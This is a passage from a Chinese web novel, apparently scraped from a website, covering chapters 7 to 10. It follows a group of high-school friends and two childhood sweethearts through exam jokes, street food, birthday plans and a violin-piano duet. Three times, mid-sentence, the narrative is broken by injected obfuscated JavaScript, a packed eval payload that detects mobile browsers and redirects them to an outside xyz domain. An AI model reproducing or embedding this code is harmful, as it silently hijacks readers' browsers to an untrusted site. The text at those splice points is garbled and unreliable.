“诗久夏,年级最高分九十九,只错了一个空,把血红蛋白写成了血红蛋糕。” “是考试时和祝与青商量考完吃什么,结果写串了吗?” “口味有点重啊。”李东厉轻轻抖了抖手中的试卷,又问,“这个口味的蛋糕好吃吗?” 诗久夏当然没有回答李东厉的问题,因为李东厉确实没说错,至少说对了一半。 考理综试卷前两个人确实是在商量放学回家后吃什么,也确实是写着写着和脑海里的想法串了。 人在饱受摧残时总是会想些吃些甜的东西治愈治愈自己的心灵,于是诗久夏理所当然的想要去买能够“升华灵魂”的灵丹秘药——小蛋糕。 可偏偏那几天她又牙疼的厉害,于是祝与青理所当然的拒绝了她的要求。 越是得不到的东西越是想吃,诗久夏的反骨情绪一下子上来,不应祝与青的话,硬是要去买。 结果就是被祝与青一个电话告给了自家妈。 诗妈倒是没骂她,直接让祝与青把她拉回家去了。 事实上她那天也没有真的吃上小蛋糕,祝与青不知从哪里弄来不少奶酪棒给她做了个类似小蛋糕的东西。 Q.Q软软,她吃饱后就没再计较没吃到的小蛋糕了。 甚至如果不是李东厉提起,她都快把这件事忘干净了。 盯着写错的试卷,诗久夏怀疑自己确实是有点吃货上脑,自知理亏,也没敢吭声,乖乖挨站。 见教室里的其他人都笑清醒了,李东厉挥挥手让两人坐下,又对着诗久夏补了句: “我和二班的生物老师打赌说你会得满分来着,结果惨失了一瓶老干妈。” 快退休的老头摸了摸自己早已花白的头发,走回讲台,嘟嘟囔囔的抱怨。 “下次得帮我把我的老干妈赢回来,我就那点零花钱,一瓶老干妈可不便宜!” 7. chapter 07 求封笔 好不容易忍着笑熬到放学时间,一行人抽风一样边笑边收拾书包,时不时还要抬头去瞅一眼祝与青的脸色有没有更难看。 晃悠出校门口,谢敬忽略掉俩人幽怨的目光把诗久夏和方惊芜从一堆色香味俱全的路边摊里拎出来,义正言辞的拒绝了对方“只吃一点”的卖乖。 并对俩人屡教不改,放学就钻路边摊的行为进行了严厉的批评,再次重申了路边摊油盐过多,不健康,容易得心血管疾病以及肾脏疾病的理论。 失去了路边摊就失去了灵魂,失去了灵魂的诗久夏和方惊芜无精打采的听着谢敬一本正经的科普健康饮食,耸拉着脑袋神游天外。 旁听的裴逢和路谨言看着焉呆呆跟在身边的诗久夏和方惊芜不自觉叹了口气,动了恻隐之心。 孩子就是想吃点路边摊,又不是要去偷去抢,就让她吃点吧。 对视一眼,路谨言迅速接受裴逢的脑电波,两步上前捞住谢敬的脖子,不动声色的打断了谢敬的念叨,问起了班级里的其他事,转移谢敬的注意力。 裴逢紧跟其后,站到另一边接话,一唱一和把谢敬往前带。 与此同时,斯郁悄悄从背后窜到诗久夏和方惊芜面前,变戏法似的从身后拿出两根裹满辣椒的淀粉肠来。 大概是“做贼心虚”,斯郁也是第一次做违背谢敬嘱咐的事,紧张的耳根通红,快速的把淀粉肠一人一根塞到俩人手里时,还不停去望被裴逢越带越远的谢敬。 生怕谢敬一个“回头杀”发现几个人不听叮嘱的给诗久夏和方惊芜投喂“有害物品”。 没有人能抵挡住烤肠的香味,诗久夏和方惊芜也怕到嘴的鸭子飞了,甚至顾不上烫嘴,先咬了一口到嘴里尝尝味。 一边藏一边吃,一根烤肠吃的惊心动魄,但好歹是完整的吃完了,祝与青也适时摸出诗久夏塞他兜里的纸“善后”。 此时正走在前面的谢敬也终于发觉周围有些安静的过分了,一股不详的预感油然而生。 孩子静悄悄,必定在作妖。 他忽然停下脚,一回头,四个人落在他身后二十几米远的距离外,安静的出奇,像是在玩一出声就会考倒数的游戏。 双眼眯成一条细细的缝,谢敬敏锐的察觉到了不对劲,把路谨言搭在他肩膀处的手拿下去,自顾自往后走去。 裴逢和路谨言眉心一跳,跟在了谢敬身后。 诗久夏和方惊芜额间冒汗,抓着校服,强忍镇定的看着谢敬走到自己面前。 “你们在后面干了什么?” 诗久夏是一个心理素质很强的人,至少她是这么认为的。 从四五岁参加校级比赛,再到初中市级比赛,省级比赛,考级,她从未怯过场,那些对她而言不过就是看得人多了一些。 这些对从小在聚光灯下长大的她而言确实没有什么不一样,甚至在谢敬发现之前,她都没觉得自己会害怕什么。 谢敬高,站在诗久夏面前时自带的压迫感就已经给足了,再加上对方一向温和的脸忽然冷下来,有些唬人。 方惊芜怕说话暴露,只装作听不懂的抬头去看谢敬,殊不知就是这个动作彻底暴露了俩人。 “你俩是不是吃了烤肠?”谢敬严肃起来,把疑问句问出了笃定的气势。 “没有。”诗久夏握着书包带,心虚眨眼,强忍着往后退的想法,装无辜。 “还说没有!方惊芜的校服上都粘上辣椒粒了,还敢睁眼说瞎话!” 谢敬不可置信的又看了眼跟在诗久夏,方惊芜身边的祝与青,斯郁,以及站在他身后专打掩护的裴逢和路谨言,语气是满满的震惊:“你们竟然合起伙来骗我?!!” 掩藏终于暴露了,两个人挨骂变成了六个人挨骂,主凶帮凶和受益人一个没跑掉,全挨了一顿训,并被逼着重新发了一遍誓,发誓自己再也不瞎投喂和瞎吃东西。 该保证的保证完,几个人又恢复了以往的模样,该笑的笑,该损的损,也没觉得有哪里不对,毕竟他们已经被管习惯了。 谢敬就是这种性子,把其余六个人当孩子,天气降温,增减衣物,饮水习惯是他常叨叨的东西,小饼干,排骨汤之类的也常做给他们吃。 爱叨叨路边摊也是因为方惊芜和诗久夏高二上学期吃路边摊时吃到了不干净的食物,不舒服了好一阵,什么都吃不下。 当时谢敬看着俩人迅速消瘦下去的身体难受了好一阵,各种大补的汤都给俩人炖好带学校,把另外四个人都喂胖了点。 后来就不让她俩再吃路边摊了。 他习惯照顾人,凡事都嘱咐俩句,在他的“管制”下,几个人也确实很少感冒生病。 跟着街道慢悠悠的走,路谨言终于想起来了早上就要说的事。 “大少爷,你生日快来了。” 正走路的祝与青脚步一顿,轻轻“嗯”了一声。 “你想提前过还是往后过?六一不放假。” 是了,这位“高冷”味拉满的大少爷,生日是在六一儿童节当天,甚至没法碰上不读书的周日。 “都可以,你们挑日子吧。” 祝与青对自己的生日一向没什么什么筹划,打算任由几人随意发挥。 路谨言走到他旁边吊儿郎当的撞了他一下:“这次生日有什么想要的吗?和大爷讲,大爷一定满足你。” 祝与青被对方撞的一趔趄,看着路谨言,毫不客气的吐出几个字:“一环里的一套四合院。” 路谨言震惊的张大嘴,完全没料到这个回答,片刻后不知又想到什么,点点头,连连应好,并从书包里拿出纸笔开始了做法。 他当然不会真的有买一套四合院的钱,他家虽然确实是有一个小公司,但还没到能买得起一环内一套四合院的程度。 况且就算有那个钱,他也没那财产支配权。 不过…… 路谨言拿着笔和本子走走停停,时不时对着本子贱嗖嗖的笑,引得路人频频用异样的眼光看他,他却浑然不觉的沉浸在自己的世界里。 其余几个人还在认真的对生日要做些什么出主意,祝与青大部分时间都认真的听着,时不时应俩声,表示自己没意见。 方惊芜没参加几个人的讨论,挽着诗久夏的手臂,压低声音问:“大少爷有没有什么特别想要的东西?生日礼物送啥啊?” 七人团里,最有钱的除了诗久夏和祝与青这俩个世家就有钱的不得了,钱权不愁,财产八辈子败不完的人外,最有钱的当属方惊芜。 三家本身就有合作关系,外加孩子也在一个学校读书,三方父母也自然就走的近了,平时过节吃饭还能约在一起。 方惊芜送礼自然就不能按照其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【用我最可靠的臂弯】 【为你搭建起世上最牢固的房屋】 【如果未来太过痛苦】 【就请回来我的怀抱】 【栖息在我为你搭建好的梦里】 【安眠安眠】 安静,鸦雀无声的安静,谁现在笑出来谁就会死的安静。 不敢认,根本不敢认,不敢听,根本不敢听。 堪称绝迹的作品,祝与青简直想跪求路谨言封笔。 人果然只有在使坏的时候最不嫌麻烦。 祝与青皮笑肉不笑地看着路谨言的“佳作”,紧握的拳头已经准备就绪,准备让这幅“佳作”变成遗作。 眼见祝与青的脸色从刚开始的镇定到不可思议,再到黑如锅底,最后平静如水,诗久夏怕路谨言被打死,谨慎的向前一步,挡在路谨言身前,问了句:“要干嘛?” 祝与青面无表情的抬头扫了诗久夏一眼,声音透着股莫名的疑惑:“我不是安了反诈中心吗?怎么还遇见了这种堪称诈骗犯的朋友。” “他真的是人生的吗?能不能查查,怀疑是有遗传病的豌豆杂交出来的。” 8. chapter 08 旧发饰 被按下暂停键的世界终于重新启动了,时间恢复流动,风声和堪称狂妄的笑声响在辽阔的大马路上,除了“被害人”祝与青,大家都笑的摇头晃脑。 这招太他爹的恶心了,堪称史诗级的报复手段。 路谨言不管祝与青怎么说,反正恶心到对方他就满意了。 无视掉对方的嫌弃,他又抛了个媚眼给对方,喜滋滋的将自己“惊为人天”的作品撕下来放到了祝与青手上。 饱经摧残的祝于青已经很难做出什么除无语外的其他表情了,面对这位“油王”递过来的纸根本不敢接,生怕自己手上也粘上那糊手的油腻。 最后还是诗久夏出场,将路谨言的纸收起折好后放进了祝与青的校服口袋,替他表达了自己的想法:“……这种好东西以后留着自己享用吧,别想着什么东西都给好兄弟留一份,送给别人是要被打死后扒皮抽筋的。” 诗久夏说这话时还在抖,强忍着不去看祝与青难以言喻的脸色才勉强用正常的语速说完。 笑着闹着好像什么都过去的快,七个人又扯了几句,到了要分开的岔路口。 把该嘱咐的嘱咐完,几个人背对着挥了挥手,赶着回家吃晚饭,期间诗久夏和方惊芜又被谢敬盯着嘱咐了一遍好好吃饭,别想去买辣条和路边摊吃。 俩人自是老实点头保证,不敢造次。 不过诗久夏今天确实没时间去买辣条和路边摊吃。 冲进家门,诗久夏朝正在门口择菜的张姨问了声好,又去客厅的茶几上抓起自己的手机,再顺手捡了个果冻塞嘴里,直直跑到了对门祝与青的房间门口。 祝与青放下书包,掬了把冷水洗脸,出来时正好碰上诗久夏背着书包一脸乖巧的站在门口望里觑,喊了声“进”后静静站在原地,打算看看她要作什么妖。 诗久夏小时候大多数时间都待在祝与青的房间里,后来她稍微大了一些,诗家父母为她装修房子时就选用了和祝与青一样的布局,避免诗久夏待不习惯,撞手撞脚。 两个人的房间布局一样,得到对方的允许,诗久夏进祝与青的房间宛如进了自己的家。 在门口换上自己专属的浅黄色拖鞋,又将换下的鞋子摆好,轻车熟路的把书包放在书桌的椅子上,又毫不客气的走到装饰柜旁为自己倒了杯水。 一整套动作行云流水。 东西全部放好,诗久夏才终于说了自己的目的。 “我要出去,晚上九点前回,行程不定,不用来接,手机我揣兜里了,铃声之类的都开着,有事和我打电话,张姨睡得早,让她不用给我留灯和饭,我怕吵到她,晚上我直接来你这洗漱写作业和睡觉。” “要去看外婆?”祝与青大概熟悉诗久夏的习惯,从柜子里摸出几张百元大钞放进诗久夏兜里,撩起眼帘叮嘱了句,“天暗别骑车,打车回家,车牌号发我,我在门口等你。” 诗久夏的外婆不和她住在一起,在几公里外的城中村,是个要自己生活,有些犟,勤快得过分的老人,要去那只有骑自行车最方便,即便如此,抄近路也得半小时,开车得更久,因此诗久夏大部分时间都是骑自行车去。 诗久夏点头,看祝与青给她塞钱的动作才想起自己忘了带现金:“去买点菜带给她,再陪她说说话。” 话说出口,诗久夏忽然觉得这场景和这话有些怪异,像是要离家,给丈夫报备一样。 顿了一会儿,诗久夏补了句,“我早去早回,你在家等我。” 祝·疑似被无情抛弃在家的糟糠之夫·与·疑似妻子要去寻花问柳警告自己别捣乱·青:“……” 话怎么越说越怪,从嘱咐丈夫变成了嘱咐儿子。 祝与青面无表情的盯着看了诗久夏一会儿,忽然瞄到了对方被汗浸湿的后脖颈和贴着的几缕头发。 蜷缩的手几度紧握又松开,祝与青抿起唇,对上诗久夏仰起头看他的眼睛,好一会儿才捏起一根不知何时放在书桌上的黑色皮筋,绕到她身后,将她后脖颈贴着的头发和高马尾撩起,三两下盘成了个圆润的丸子头,又拆了包湿纸巾帮她擦脖颈间的汗。 祝与青把所有暧昧动作都剔去,像照顾那个只有几岁的小孩一样,把自己放回哥哥的身份。 刚洗过冷水的手还有些冰,撩起那几缕头发时指尖贴到了诗久夏滚烫的皮肤,诗久夏被冰的一激灵,对忽然拉近的距离无所遁形起来,后脖颈处的皮肤像被火烧般烫起来,有逐渐蔓延的趋势。 猛地往前走了一步,诗久夏挠了挠脖子,垂下的手不知该往哪里放,眼睛乱瞟,慌乱间直接转身朝房间外跑去。 同手同脚的挪动到庭院里的那颗树下,诗久夏才发觉自己刚才的行为有些应激了,对祝与青来说有点冒犯。 站在原地深吸了好几口气,勉强稳准自己颤抖的声线,诗久夏高扬起声,对着卧室喊了句:“时间差不多了,我先走了,你要记得给我留灯,我给你带好吃的回来。” 然后马不停蹄的打开大门溜之大吉。 祝与青手里还握着刚擦一下的湿纸巾,听到大门打开又合上的声音石化似的定在了原地。 他的身份已经不适合给她梳头发了吗? 盯着纸巾发了好一会儿呆,脑海里一遍遍闪过诗久夏落荒而逃的背影,许久才行动缓慢的走到垃圾桶旁,将湿纸巾扔了进去。 四合院里又安静下来,他没有像往日一样从书包里拿出书和资料坐在书桌前刷题,而是在垃圾桶旁边又站了一会儿,走到了从门口延伸至浴室的柜子旁,拉开柜门,取出了一个A4大小的礼盒。 将盒子拿到书桌前,祝与青一动不动的看着盒子里摆放的异常规整的物品。 ——一些早已没了弹性,露出白色丝线的黑色发圈,五颜六色的小花双面夹,白色珍珠款式的一字夹,HelloKitty款式的发贴。 和所有小女孩一样,诗久夏小时候也喜欢漂亮裙子和漂亮辫子。 两三岁时她总爱把自己的发圈缠在祝与青手上,指着自己的头发笑,示意对方给她梳头发,不梳就哼哼唧唧的当“拦路虎”,不让祝与青出门。 那时的祝与青也不大,更是没有扎头发的经验,怕弄疼诗久夏,硬是由着诗久夏扭了她一天,也没敢上手试。 当时诗久夏还因为这个生了好大一通气,打算第二天大闹祝与青一场。 结果当天晚上祝与青把家里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502253|170401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女性请教了个遍,学了一整晚的羊角辫,在诗久夏第二天起床时,熟练的为她编了漂亮辫子。 后来诗久夏就总爱缠着他梳头发,他也为此学了好几款发型,每天换着花样的给她弄不重样的款式,还给她买了不少发饰。 只是慢慢的两个人有了性别意识,一个意识到不该再找对方梳头发,一个意识到不该自己为她梳头发,他们就默契的没再提过梳头发这件事了。 而那些早该淘汰掉,不知被丢到哪里去的东西都被祝与青一一收纳好,放了起来。 他现在已经不是还能为诗久夏梳头发的身份了。 他今天的动作越界了。 祝与青低垂着眼,单手拂过留满岁月痕迹的发饰,目光缱绻,只是里面的爱换了一种。 它不再能被说出口,也再不能表现出来,只能横亘在他的内心中,成为永远无法跨过的坎。 落日余晖洒满天际,四合院的大门又被推开来,快递小哥拿着包裹走进门喊了声“签收快递”,祝与青从卧室里走出,看了一眼快递单号后牵了字。 小心翼翼的划开胶带,里面是一瓶包装精美的香水。 巴掌大小,瓶身下部是绿色,喷洒在空气中先闻到的是清新的花果香和草香,后调带着点葡萄柚的涩。 祝与青按照快递信息在购物软件上找到了同款香水,下单后将诗久夏送的那瓶放进了柜子里,和装着发饰的礼盒挨在一起。 “阿姨,我还有急事,过几天再来找你练!” 诗久夏看了眼时间,踩着拖鞋跨上自行车,把非机动车骑成了飞机动车,“歘”的一下飞走了。 她逃也似的冲出门的后果就是到了门外才发现自己的鞋还没换,她又不敢再回去一次,于是苦哈哈的穿着拖鞋,扫了辆自行车摇摇晃晃的走了。 她确实是要去看外婆,不过她去的第一个地方,是离家最近的陶瓷店。 祝与青去年满十八岁时,祝家父母本打算给他办个成人礼,结果没碰上周六周日,祝与青也嫌麻烦,作罢了。 那年她送了对方一套西装,是熬了好几个大夜,排了好久才排到,纯手工定制的。 祝与青其实不缺什么,大多数东西他都有,就算没有,他想买也能买到,因着心里那点难明的心思,今年她打算自己做一个陶瓷和蛋糕送给他。 从陶瓷店出来,诗久夏火速去往菜市场,挑了好些肉和新鲜蔬菜,骑车半小时去了外婆家。 她到时涂蓝翼刚吃好饭,正在院子里绕圈消食,她穿的很干净,甚至算得上是时尚,头发一丝不苟的盘在脑后,瞧见她走进门,涂蓝翼先笑起来,细纹在脸上堆叠,满脸慈祥。 “哟,谁家的小女娃过来了呀?” 十七岁的诗久夏拎着菜笑着跳进门,几步跑到涂蓝翼面前,菜还没放下,就开始撒娇。 “是谁家的外婆走在门外等着外孙女来看她呀?是谁呀是谁呀?” 涂蓝翼伸手抚了抚她的脸,应着她的撒娇,那双柔和的眼睛轻轻偏了偏,端详起了门外。 二十七岁的诗久夏静静地站在那里,眼睛里雾蒙蒙的,近乡情怯一般,跨不过那个再也绊不住她的门槛。 9. chapter 09 合琴音 临近夏季,外套穿在身上已经有了热意,教室里虽然装了两个空调,但校领导也非常狗的收走了空调遥控器,只在六月时派人去办公室拿,考完试又会往回收,等天冷的时候再往下发。 风里还勉强带着些凉意,教室里的门窗和电扇大开着,热风从缝隙里灌入,吹翻桌前堆叠着的书页。 哗哗的翻页声没有吵醒课间能睡十分钟的学生,教室里趴到一片,找不出一个还坚持着“不倒”的人。 祁连急匆匆的跨进教室门,被这趴到的一片“吓退”了一步,原本找人的计划犹豫两秒后,果断往后延迟,退出教室回了办公室。 诗久夏昨晚七点多才在路边打上车,刚把车牌号发给祝与青,对方就拨了个电话过来,不说话,只是在她快要打瞌睡时叫醒她,和她随口提一提今天的作业大概是哪些知识点,难度如何,要做到几点,让她心里有个数。 出租车渐渐驶向熟悉的街道,拐弯驶入家门前的那条马路时,诗久夏的目光骤然被大门处站着的那个在黑夜里仍显得亮眼的人影吸引。 晚上的风有些凉,已经洗漱好的祝与青在平常爱穿的睡衣里套了件薄薄的外套,洗过的短发毛茸茸地翘起两根,身姿挺拔,立在正对着的风口的大门前,手里的手机还在和她的通话界面,正在往车的方向张望。 车辆缓缓驶停,祝与青先一步行至车边,打开车门把她拉出来放在身后,眼睛从上到下的扫视了一圈,确认没什么不对劲,又紧了紧她散开的外套拉链,去找司机结账。 诗久夏亦步亦趋的跟在祝与青身后,带着凉意的触感似乎还留在她的后脖颈处。 周围蝉鸣声不断,屏幕光打在祝与青的侧脸上,映出他深蓝色,玻璃珠似的透亮眼睛,嘴唇张张合合,在和司机说着什么,看口型像是谢谢。 她有一条很喜欢的手链。 工艺繁琐,但款式很简单,宝石简单的镶嵌在银白色的链条上,是诗妈某次回家时带给她的礼物,也是那样漂亮的蓝色,很透很透,像祝与青的眼睛。 刚拿到那条手链时她稀罕的不行,整天带在手上,诗妈还高兴她这次送礼送的好。 结果没几天诗久夏就因为这条手链打了人生中的第一场架。 小孩的劣性根是藏不住的,看见好看的东西总惹不住去破坏,那时幼儿园里就有那么一两个小霸王总是爱扯女生辫子,不过这些小霸王大多都会避开诗久夏。 一是诗久夏的家庭一般人惹不起,二是祝与青会守着她。 但凡事总有例外,亮亮的东西吸人眼,女生看见会忍不住惊叹着夸,男生则是誓不把它取下来不罢休。 偏偏诗久夏也不是个好惹的性子,不管周围的男生说什么都不取,最后就是另一方上手硬扯,最后演变成打架。 家长的嘱托早被抛在脑后,祝与青又被人叫走,恶从胆边生,先是从简单的抓手腕到推搡,再到抡起拳头揍人。 诗久夏更是个犟种,逮着机会就下死手。 眼见手链也在撕打中被撤坏,诗久夏打人就更是不要命了,而比阻挠的老师和家长更先来的是祝与青。 祝与青很少会问诗久夏为什么做一件事,也很少问这件事到底谁对谁错。 在他的认知里,诗久夏不会无缘无故打架,想做什么也一定有自己的原因,所以他从不过问。 只要诗久夏有自己的原因,不管方不方便说,能不能让他知道,他都不会多问,只会帮忙。 而且就算对方是无缘无故打架,无理取闹的要做什么,他也应该帮她。 于是他到之后废话没多说,直接把诗久夏从拉扯中撕出来,换成了自己上。 这场势均力敌的打架就这样演变成了祝与青单方面对两个人的围殴,最后以两个小霸王一个被打掉一颗牙,一个骨折收场。 后来整个幼儿园就真的再没有人敢惹诗久夏了,她成了整个幼儿园里真正的“霸王”。 生活就这样顺风顺水下去,只是那条手链后来也没有再拿去修,她也婉拒了诗妈再买一条的建议,将被扯坏的手链包装好,收了起来,现在正放在她的枕头下。 而那双无论到哪都紧紧追随着她的眼睛,竟然有一天让她不再敢直视。 宽阔的背影还挡在自己身前,和那个把她从打架中拽出来的影子莫名重合。 诗久夏忽然心痒了一下,不自觉的去轻轻抓了一下他的外套下摆。 好像自她有记忆时,祝与青就在这样陪着她。 诗久夏盯着祝与青黑乎乎的后脑勺,有些出神的想。 “出去玩了一趟把魂丢了?” 祝与青结好账,换了个位置,替诗久夏挡着吹过来的风,见她还愣在原地不走,并起手指,在她面前打了个清脆的响指。 诗久夏被这响亮的一声叫回神,急忙推着祝与青往卧室里走,含糊着答:“没,在想事。” 玄关处已经换上了另一双她常用的拖鞋,诗久夏没再敢耽误,简单收拾了一下,开始了漫长绝望的补作业之旅。 祝与青也没休息,一直在旁边陪着他,两个人熬了半宿,凌晨一点多才把该刷的题和作业写完。 洗漱好后的诗久夏摊成“大”字,懒懒地躺倒在满是祝与青味道的床上。 躺在诗久夏床侧,毛茸茸地毯上的祝与青已经阖上了眼,浓密的睫毛轻轻盖住那双漂亮的深蓝色眼睛,头发乖顺的趴在额头,夏被盖得严严实实,平躺着,像等着公主亲吻的睡男人。 卧室里只亮着一盏暖黄色的小台灯,照亮着偌大房间里最安静的一角。 诗久夏轻晃着腿,趴在柔软的被子上,半眯着眼去看睡在她床下的祝与青,浅浅嗅着那股让人安心的味道。 心里某块位置又往下轻轻塌了一下,诗久夏一抻手,把被子盖过头顶,让祝与青的味道充斥在她呼吸间的每一寸空气里,在心里很小声的说了一句晚安。 等房间里只剩平稳的呼吸声,原本“睡着”的祝与青轻轻坐起身,拉开诗久夏被薄毯完全盖住的头,替她理了理头发,将被角掖到肩旁。 知了还在小声地叫,祝与青半坐着看了她一会儿,极小声的说了句“晚安”,才侧身朝着她的方向躺回地毯。 睡得晚,起得早,长时间的睡眠不足让诗久夏抓紧了所有时间补觉,不过这次祁连比她趴下的动作快了一步。 “久夏。”祁连站在教室门口,朝诗久夏招了招手。 祁连喊这声名字时没收着声音,方惊芜勉强打起一点精神和困意做斗争,挣扎着撑起头看了一眼祁连,又迷糊着瞪了一眼身旁正站起身要往外走的诗久夏。 祝与青埋在臂弯里的头轻蹭了下,片刻后也掀起沉重的眼皮,半眯着眼往门外看。 “怎么了?”谢敬还不太清醒,听到有人喊熟悉的名字,下意识问了句。 “久夏被连长叫走了。” 连长是他们班主任的外号,是个刚毕业没几年的男性,性格和他们差不多,也属于跳脱那一挂,因为军训时在旁边陪他们一起晒太阳,被人调笑说是大兵带小兵,又因为名字里有个“连”字,得名连长。 “连长找她干嘛?” 谢敬抬起头,脸上满是对睡觉的渴望,皱眉思考,没记起最近要办什么活动。 后座被谈话声惊醒的斯郁揉着眼,似乎想起什么,说起了好久前听来的消息。 “之前好像听别的学校说下个星期市里有人要来视察,让每个学校都出一两个拿得出手的节目上台表演,会评奖来着。” 吐完几十个字,斯郁人也清醒了,说话倒豆子似的:“我看他们说每个学校都挺看重这个的,他们学校负责表演的都快被逼疯了,天天都在练。” “连长来找久夏估计就是因为这事吧。” 路谨言闭眼抓过桌角还剩大半的矿泉水瓶,猛灌好几口,接上斯郁的话,“这种表演拿奖已经不重要了,事关学校门面,领导肯定也巴不得派个得意门生出去应战。” 路谨言确实没猜错,诗久夏被叫出去就是为了这事。 祁连对她放心,见她答应,再次对自己捡了这么个宝贝疙瘩的运气表示了感谢,又把时间和注意事项大概讲了一下,心情颇好的办公室述职去了。 要做的事情太多,诗久夏这两个月的空闲时间都被占没了,她大概估计了一下,做了个计划表排了时间,忙忙碌碌的开始了自己的学“牲”生活。 当天下午回家,诗久夏从房间里摸出了自己已经有段时间没练的小提琴。 既然答应了祁连,这件事也不是小事,没法偷懒,就只能老老实实的排节目练乐器。 拿起琴站在香樟树下,诗久夏以为那么久没练自己会手生,然而当琴真的放在自己的肩膀处,脖颈抵上那熟悉的温度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502254|170401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拿着弓的手已经不由自主的动了起来。 熟悉的琴声钻进耳朵,祝与青从密密麻麻的资料中抬起头,看了眼打开的窗户。 天空正处于夕阳与夜色交换之际,洗漱过的诗久夏换上了平日穿的白色短袖黑色短裤,后脑勺的丸子头盘的饱满,却散了一小缕在皮筋外,身后的榕树被风吹的哗哗作响,掀起女孩额间的碎发。 她的脸上带着淡淡的笑,身体跟随着肩上的琴和手上的弓轻轻摆动,不用有其它动作和语言,那样自信又张扬。 出自她之手的琴音也颇具她的风格,轻快中带着不容忽视的力量。 祝与青一直觉得:上帝是会偏爱某个人的。 这么好,这么厉害的诗久夏就该永远活在幸福里。 他高兴于上帝的这种偏爱。 这种偏爱让他爱的人更像自己。 风声和琴声中,祝与青又提起手中的笔,慢慢读着晦涩难懂的阅读理解。 暮色全部暗下去之际,祝与青合上书,去了另一间房。 祝与青家里有一间专用于俩人练乐器的房间,俩人大部分的琴谱和备用乐器几乎都放在那儿。 祝与青停下笔后朝那间屋子里走去,打开了尘封已久的钢琴盖。 不多时,一段琴声加进了欢快的旋律中。 它闯入的并不突兀,循序渐进的融进她的琴声里,慢慢的成为她的伴奏,维持在合适的音调,丝毫没有喧宾夺主的意思。 诗久夏听到这声音时恍惚了一瞬,手上动作未停,却忽然换了一首曲子。 指尖从琴键上飞过,祝与青紧跟着那道萦绕在他身边的琴声。 他对钢琴其实算不上热爱,如果问当初为什么要学乐器,更多的原因是因为那时诗久夏喜欢乐器。 诗妈对诗久夏一向有求必应,对诗久夏采取“全认同,全答应,全夸赞,全托举”的教育方式,知道后立马为她报了兴趣班。 总是在一起的两个人忽然被分开来,谁都不太习惯,于是他也找了样乐器学。 至于为什么是钢琴。 因为那时小提琴班和钢琴班挨着,他在另一间教室里能听见另一个人从略显生涩到渐渐流畅的琴声。 还因为——装作不经意路过时,他能通过对方门上的那块方方正正的玻璃,窥见她总是笑着的脸。 考完级之后他其实就很少再练琴了,钢琴也就成了某一样再说起时,能够拿出来“装把大的”的工具和富家子弟能拿得出手的技能。 和他的敷衍不同,诗久夏是真的喜欢小提琴。 不算很热的天气里,对方就会像今天这样,拿着琴站在树下,一首一首拉过那些熟悉到闭着眼睛脑海里都能浮现出琴谱的曲子。 可他还是会在听到时停下手里的事,坐到钢琴凳上,弹过那些他也早已烂熟于心的辅音。 两道琴音相融变成再正常不过的事,甚至两个人对彼此拉琴弹琴习惯的熟悉程度已经到了:谁会在那个音上做改动,下一秒是快还是慢,都能默契跟上的程度。 有时俩人还能来段即兴创作,琴房里还特意挪了个位置放他们的原创曲目。 不过她们已经很久没有一起拉过琴了,大多变成了诗久夏拉,祝与青站在某个对方看不见的位置听。 诗久夏缓和的琴音忽然快起来,像即将来临的暴雨,又急又猛,祝与青垂眼看着黑白色的琴键,跟上对方的节奏。 两道琴音交缠,相辅相成,渐渐分不出个所以然。 祝与青常常为自己和诗久夏是青梅竹马而庆幸。 ——他遇见了一个这么好的人,见证,甚至在对方的岁月里,陪伴了相当长的一程,见到了她从摇摇晃晃一步步走到今天的意气风发。明媚热烈。 可他后来却又莫名讨厌起这个身份。 ——他陪着对方长大,成为对方最信任的人,又清晰的知道什么事该做,什么事不能由他来做,他应该怎么做才最好,希望对方幸福和自由的背后,自己竟然和她的幸福毫无关系。 “诗久夏。” 祝与青身体紧绷着,指尖动的越来越快,像是要急着摆脱什么。 风平浪静的海面再也无法粉饰太平,再也压抑不住的惊涛骇浪要将所有理智都撕碎后吞下。 再飞得更高更远一点吧,见到更多更好的人,然后。 然后…… 10. chapter 10 不敢了 很久很久前诗久夏就知道祝与青对她来说和其他人不同。 幼时她曾好奇爸爸妈妈的关系,那种互相照顾,彼此打闹的日常像她和祝与青相处的每一天一样,那时她就天真的问过祝与青,自己和他以后会不会也像爸妈一样。 当时祝与青耐心的找纸巾擦掉她糊得满手奶油的掌心,又帮她重新梳了一遍已经跑散的辫子,告诉她:不会,因为爸妈是夫妻,我们是好朋友。 为此她黯然伤神的难过了好几天,饭也不想吃,玩也不想玩,甚至没去找祝与青,一有时间就蜷缩在自家妈怀里哼哼唧唧,涂无虞还为此疑惑了好一阵。 后来诗久夏别扭的把祝与青说的话重复给她听,没料到涂无虞不仅没有反对,反而认同了祝与青的话,看她更不开心,还问她为什么不开心。 三四岁,对感情一无所知的诗久夏那里知道自己为什么会因为以后不能和祝与青像爸妈一样相处而不开心。 只是拉着自家妈的衣角默默掉眼泪。 